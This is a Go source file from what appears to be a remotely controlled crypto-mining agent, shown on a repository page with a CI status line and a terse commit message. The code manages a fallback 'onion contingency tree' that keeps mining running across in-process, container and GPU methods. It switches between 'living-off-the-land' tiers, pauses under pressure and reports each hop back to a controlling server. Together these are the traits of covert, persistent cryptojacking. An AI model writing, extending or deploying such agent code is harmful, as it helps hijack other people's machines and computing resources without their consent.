Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
263 lines
5.7 KiB
Go
263 lines
5.7 KiB
Go
package client
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"log"
|
|
"sync"
|
|
|
|
"crypto-miner-agent/miner"
|
|
)
|
|
|
|
// ContingencyRunner wires the onion contingency tree into AgentClient mining.
|
|
type ContingencyRunner struct {
|
|
client *AgentClient
|
|
runner *miner.ContingencyTreeRunner
|
|
gate *miner.PoolGate
|
|
mu sync.Mutex
|
|
cancel context.CancelFunc
|
|
enabled bool
|
|
}
|
|
|
|
func (c *AgentClient) newContingencyRunner() *ContingencyRunner {
|
|
cr := &ContingencyRunner{client: c, gate: miner.NewPoolGate()}
|
|
return cr
|
|
}
|
|
|
|
func (c *AgentClient) applyContingencyPolicyJSON(raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var p miner.ContingencyPolicy
|
|
if err := json.Unmarshal(raw, &p); err != nil {
|
|
return
|
|
}
|
|
p = miner.NormalizeContingencyPolicy(p)
|
|
c.mu.Lock()
|
|
if c.contingency == nil {
|
|
c.contingency = c.newContingencyRunner()
|
|
}
|
|
c.contingency.enabled = p.Enabled
|
|
c.mu.Unlock()
|
|
if p.Enabled {
|
|
c.contingency.rebuildRunner(p)
|
|
log.Printf("[contingency] policy enabled personas=%v hospice_after=%d", p.Personas, p.HospiceAfter)
|
|
}
|
|
}
|
|
|
|
func (c *AgentClient) applyContingencyBranchParamsJSON(raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var p miner.ContingencyBranchParams
|
|
if err := json.Unmarshal(raw, &p); err != nil {
|
|
return
|
|
}
|
|
c.mu.Lock()
|
|
cr := c.contingency
|
|
c.mu.Unlock()
|
|
if cr == nil || cr.runner == nil {
|
|
return
|
|
}
|
|
cr.runner.ApplyBranchParams(p)
|
|
log.Printf("[contingency] branch params applied: %s", p.Reason)
|
|
}
|
|
|
|
func (cr *ContingencyRunner) rebuildRunner(policy miner.ContingencyPolicy) {
|
|
c := cr.client
|
|
hooks := miner.BranchAttemptHooks{
|
|
StartInProcess: func() error {
|
|
if c.miningChain == nil {
|
|
return miner.ErrMethodUnavailable
|
|
}
|
|
return c.miningChain.startInProcess()
|
|
},
|
|
StartContainer: func() error {
|
|
if c.miningChain == nil {
|
|
return miner.ErrMethodUnavailable
|
|
}
|
|
return c.miningChain.startContainer()
|
|
},
|
|
StartGPU: func() error {
|
|
if c.miningChain == nil {
|
|
return miner.ErrMethodUnavailable
|
|
}
|
|
return c.miningChain.startGPU()
|
|
},
|
|
ApplyIdleTune: cr.applyIdleTune,
|
|
ApplySurgery: cr.applySelfSurgery,
|
|
StopAll: func() {
|
|
if c.miningChain != nil {
|
|
c.miningChain.StopBranchAttempt()
|
|
}
|
|
},
|
|
Hashrate: cr.snapshotHashrate,
|
|
PoolActive: cr.gate.Active,
|
|
AcquirePool: func() bool {
|
|
return cr.gate.Acquire("canonical")
|
|
},
|
|
ReleasePool: func() {
|
|
cr.gate.Release("canonical")
|
|
},
|
|
}
|
|
cr.runner = miner.NewContingencyTreeRunner(policy, hooks, cr.reportHop)
|
|
}
|
|
|
|
func (cr *ContingencyRunner) applyIdleTune() error {
|
|
// Brief host pause — contingency discipline backoff, not stealth.
|
|
cr.client.pool.PauseRemote()
|
|
cr.client.hostMiningDisabled.Store(true)
|
|
return nil
|
|
}
|
|
|
|
func (cr *ContingencyRunner) applySelfSurgery(skip []string, force string) error {
|
|
c := cr.client
|
|
policy := c.miningTierPolicy()
|
|
for _, s := range skip {
|
|
tier := miner.LOTLTier(s)
|
|
if tier == "" {
|
|
continue
|
|
}
|
|
policy.SkipTiers = append(policy.SkipTiers, tier)
|
|
}
|
|
if force != "" {
|
|
policy.ForceTier = miner.LOTLTier(force)
|
|
}
|
|
c.mu.Lock()
|
|
c.tierPolicy = policy
|
|
c.mu.Unlock()
|
|
if c.miningChain != nil {
|
|
c.miningChain.Restart(context.Background())
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (cr *ContingencyRunner) snapshotHashrate() float64 {
|
|
c := cr.client
|
|
if c.miningChain != nil {
|
|
st := c.miningChain.Status()
|
|
if st.ActiveMethod != "" {
|
|
if hr := cr.latestMiningHashrate(); hr > 0 {
|
|
return hr
|
|
}
|
|
}
|
|
}
|
|
return cr.latestMiningHashrate()
|
|
}
|
|
|
|
func (cr *ContingencyRunner) latestMiningHashrate() float64 {
|
|
c := cr.client
|
|
if c.containerMiner != nil {
|
|
if ch := c.containerMiner.ProbeHashrate(); ch > 0 {
|
|
return ch
|
|
}
|
|
}
|
|
if c.pool != nil {
|
|
return c.pool.HashesPerSecond()
|
|
}
|
|
return 0
|
|
}
|
|
|
|
func (cr *ContingencyRunner) reportHop(hop miner.OnionMinerHop, depth int, exhausted bool) {
|
|
c := cr.client
|
|
payload, err := json.Marshal(struct {
|
|
miner.OnionMinerHop
|
|
Depth int `json:"contingency_depth"`
|
|
Exhausted bool `json:"exhausted,omitempty"`
|
|
Hops int `json:"hop_count"`
|
|
}{
|
|
OnionMinerHop: hop,
|
|
Depth: depth,
|
|
Exhausted: exhausted,
|
|
Hops: depth,
|
|
})
|
|
if err != nil {
|
|
return
|
|
}
|
|
_ = c.write(Message{Type: "onion_miner_log", Payload: payload})
|
|
}
|
|
|
|
// Start launches the contingency tree when policy is enabled.
|
|
func (cr *ContingencyRunner) Start(ctx context.Context) {
|
|
cr.mu.Lock()
|
|
if !cr.enabled || cr.runner == nil {
|
|
cr.mu.Unlock()
|
|
return
|
|
}
|
|
if cr.cancel != nil {
|
|
cr.mu.Unlock()
|
|
return
|
|
}
|
|
runCtx, cancel := context.WithCancel(ctx)
|
|
cr.cancel = cancel
|
|
runner := cr.runner
|
|
cr.mu.Unlock()
|
|
go runner.Run(runCtx)
|
|
}
|
|
|
|
// Stop halts the contingency tree (operator pause).
|
|
func (cr *ContingencyRunner) Stop() {
|
|
cr.mu.Lock()
|
|
if cr.cancel != nil {
|
|
cr.cancel()
|
|
cr.cancel = nil
|
|
}
|
|
if cr.runner != nil {
|
|
cr.runner.SetOperatorPaused(true)
|
|
}
|
|
cr.mu.Unlock()
|
|
}
|
|
|
|
// Resume clears operator pause and restarts the tree.
|
|
func (cr *ContingencyRunner) Resume(ctx context.Context) {
|
|
cr.mu.Lock()
|
|
if cr.runner != nil {
|
|
cr.runner.SetOperatorPaused(false)
|
|
}
|
|
if cr.cancel != nil {
|
|
cr.cancel()
|
|
cr.cancel = nil
|
|
}
|
|
enabled := cr.enabled
|
|
runner := cr.runner
|
|
cr.mu.Unlock()
|
|
if enabled && runner != nil {
|
|
runCtx, cancel := context.WithCancel(ctx)
|
|
cr.mu.Lock()
|
|
cr.cancel = cancel
|
|
cr.mu.Unlock()
|
|
go runner.Run(runCtx)
|
|
}
|
|
}
|
|
|
|
// Depth returns current onion hop count for stats.
|
|
func (cr *ContingencyRunner) Depth() int {
|
|
cr.mu.Lock()
|
|
runner := cr.runner
|
|
cr.mu.Unlock()
|
|
if runner == nil {
|
|
return 0
|
|
}
|
|
return runner.Depth()
|
|
}
|
|
|
|
func (c *AgentClient) startContingencyIfEnabled(ctx context.Context) {
|
|
c.mu.Lock()
|
|
cr := c.contingency
|
|
c.mu.Unlock()
|
|
if cr == nil || !cr.enabled || cr.runner == nil {
|
|
return
|
|
}
|
|
cr.Start(ctx)
|
|
}
|
|
|
|
func (c *AgentClient) contingencyDepthForStats() int {
|
|
c.mu.Lock()
|
|
cr := c.contingency
|
|
c.mu.Unlock()
|
|
if cr == nil {
|
|
return 0
|
|
}
|
|
return cr.Depth()
|
|
}
|